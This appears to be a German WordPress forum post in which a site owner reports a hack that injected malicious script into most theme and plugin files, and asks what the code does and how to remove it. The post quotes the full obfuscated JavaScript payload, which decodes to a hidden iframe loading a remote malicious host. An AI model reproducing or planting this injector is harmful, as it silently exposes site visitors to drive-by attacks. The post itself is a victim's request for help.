WP gehackt / Schadcode in jede Datei eingeschleust

Hallo,

Seit heute meldet Firefox

Zitat

Die Anfrage GET http://127.0.0.1/ <<< http://bbsgermany.co.tv/in.cgi?3, http://www.campusmagazin.de/blog/ - 7 durch ABE gefiltert: <LOCAL> Deny

Ins Backend kommen wir nicht mehr: Warning: Cannot modify header information - headers already sent

Via FTP wird klar, in jede Datei vieler Ordner wurde Schadcode eingeschleust:

Zitat

<script>var s,w=Math.acos(1)-2,aa=document.createTextNode("eval");e=window[aa.nodeValue];e(String.fromCharCode(11+w,11+w,107+w,104+w,34+w,42+w,102+w,113+w,101+w,119+w,111+w,103+w,112+w,118+w,48+w,105+w,103+w,118+w,71+w,110+w,103+w,111+w,103+w,112+w,118+w,117+w,68+w,123+w,86+w,99+w,105+w,80+w,99+w,111+w,103+w,42+w,41+w,100+w,113+w,102+w,123+w,41+w,43+w,93+w,50+w,95+w,43+w,125+w,11+w,11+w,11+w,107+w,104+w,116+w,99+w,111+w,103+w,116+w,42+w,43+w,61+w,11+w,11+w,127+w,34+w,103+w,110+w,117+w,103+w,34+w,125+w,11+w,11+w,11+w,102+w,113+w,101+w,119+w,111+w,103+w,112+w,118+w,48+w,121+w,116+w,107+w,118+w,103+w,42+w,36+w,62+w,107+w,104+w,116+w,99+w,111+w,103+w,34+w,117+w,116+w,101+w,63+w,41+w,106+w,118+w,118+w,114+w,60+w,49+w,49+w,100+w,100+w,117+w,105+w,103+w,116+w,111+w,99+w,112+w,123+w,48+w,101+w,113+w,48+w,118+w,120+w,49+w,107+w,112+w,48+w,101+w,105+w,107+w,65+w,53+w,41+w,34+w,121+w,107+w,102+w,118+w,106+w,63+w,41+w,51+w,50+w,41+w,34+w,106+w,103+w,107+w,105+w,106+w,118+w,63+w,41+w,51+w,50+w,41+w, 34+w,117+w,118+w,123+w,110+w,103+w,63+w,41+w,120+w,107+w,117+w,107+w,100+w,107+w,110+w,107+w,118+w,123+w,60+w,106+w,107+w,102+w,102+w,103+w,112+w,61+w,114+w,113+w,117+w,107+w,118+w,107+w,113+w,112+w,60+w,99+w,100+w,117+w,113+w,110+w,119+w,118+w,103+w,61+w,110+w,103+w,104+w,118+w,60+w,50+w,61+w,118+w,113+w,114+w,60+w,50+w,61+w,41+w,64+w,62+w,49+w,107+w,104+w,116+w,99+w,111+w,103+w,64+w,36+w,43+w,61+w,11+w,11+w,127+w,11+w,11+w,104+w,119+w,112+w,101+w,118+w,107+w,113+w,112+w,34+w,107+w,104+w,116+w,99+w,111+w,103+w,116+w,42+w,43+w,125+w,11+w,11+w,11+w,120+w,99+w,116+w,34+w,104+w,34+w,63+w,34+w,102+w,113+w,101+w,119+w,111+w,103+w,112+w,118+w,48+w,101+w,116+w,103+w,99+w,118+w,103+w,71+w,110+w,103+w,111+w,103+w,112+w,118+w,42+w,41+w,107+w,104+w,116+w,99+w,111+w,103+w,41+w,43+w,61+w,104+w,48+w,117+w,103+w,118+w,67+w,118+w,118+w,116+w,107+w,100+w,119+w,118+w,103+w,42+w,41+w,117+w,116+w,101+w,41+w,46+w,41+w,106+w,118+w,118+w,114+w,60+w,49+w,49+w,100+w,100+w,117+w,105+w,103+w,116+w,111+ w,99+w,112+w,123+w,48+w,101+w,113+w,48+w,118+w,120+w,49+w,107+w,112+w,48+w,101+w,105+w,107+w,65+w,53+w,41+w,43+w,61+w,104+w,48+w,117+w,118+w,123+w,110+w,103+w,48+w,120+w,107+w,117+w,107+w,100+w,107+w,110+w,107+w,118+w,123+w,63+w,41+w,106+w,107+w,102+w,102+w,103+w,112+w,41+w,61+w,104+w,48+w,117+w,118+w,123+w,110+w,103+w,48+w,114+w,113+w,117+w,107+w,118+w,107+w,113+w,112+w,63+w,41+w,99+w,100+w,117+w,113+w,110+w,119+w,118+w,103+w,41+w,61+w,104+w,48+w,117+w,118+w,123+w,110+w,103+w,48+w,110+w,103+w,104+w,118+w,63+w,41+w,50+w,41+w,61+w,104+w,48+w,117+w,118+w,123+w,110+w,103+w,48+w,118+w,113+w,114+w,63+w,41+w,50+w,41+w,61+w,104+w,48+w,117+w,103+w,118+w,67+w,118+w,118+w,116+w,107+w,100+w,119+w,118+w,103+w,42+w,41+w,121+w,107+w,102+w,118+w,106+w,41+w,46+w,41+w,51+w,50+w,41+w,43+w,61+w,104+w,48+w,117+w,103+w,118+w,67+w,118+w,118+w,116+w,107+w,100+w,119+w,118+w,103+w,42+w,41+w,106+w,103+w,107+w,105+w,106+w,118+w,41+w,46+w,41+w,51+w,50+w,41+w,43+w,61+w,11+w,11+w,11+w,102+w,113+w,101+w,11 9+w,111+w,103+w,112+w,118+w,48+w,105+w,103+w,118+w,71+w,110+w,103+w,111+w,103+w,112+w,118+w,117+w,68+w,123+w,86+w,99+w,105+w,80+w,99+w,111+w,103+w,42+w,41+w,100+w,113+w,102+w,123+w,41+w,43+w,93+w,50+w,95+w,48+w,99+w,114+w,114+w,103+w,112+w,102+w,69+w,106+w,107+w,110+w,102+w,42+w,104+w,43+w,61+w,11+w,11+w,127+w));</script>

Was kann man da machen? Ich hab schon von Hand mehr als hundert Dateien gesäubert aber das nimmt kein Ende und wenn der Code (was macht der eigentlich?) auch in der DB steckt, dann bringt das ja wahrscheinlich sogar überhaupt nichts? Und woher kommt diese GET Anfrage - die hat mit dem Code ja erstmal nichts zu tun?

Leider bin ich in WP mit solchen Dingen völlig unerfahren.

Auf den Server/Datenbank habe ich zudem keinen Zugriff.

@gericoach: Das Theme habe ich modifiziert. Aber bloß in CSS und nichts funktionales. Kann sowas die Ursache sein?

Infiziert waren auch alle Plugins. Möglicherweise haben wir uns den Schadcode darüber rein geholt. Ist aber keines dabei, welches in letzter Zeit aufgefallen war.

herzlichen Dank für Eure Hilfe. Wir hatten zum Glück noch ein Backup vom 06.06.

Kann grundsätzlich jemand etwas mit dem Schadcode anfangen? Was macht der?